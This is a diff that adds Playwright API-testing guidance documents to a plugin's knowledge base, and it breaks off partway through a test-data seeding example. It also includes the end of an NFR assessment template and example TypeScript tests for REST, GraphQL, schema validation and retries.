+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
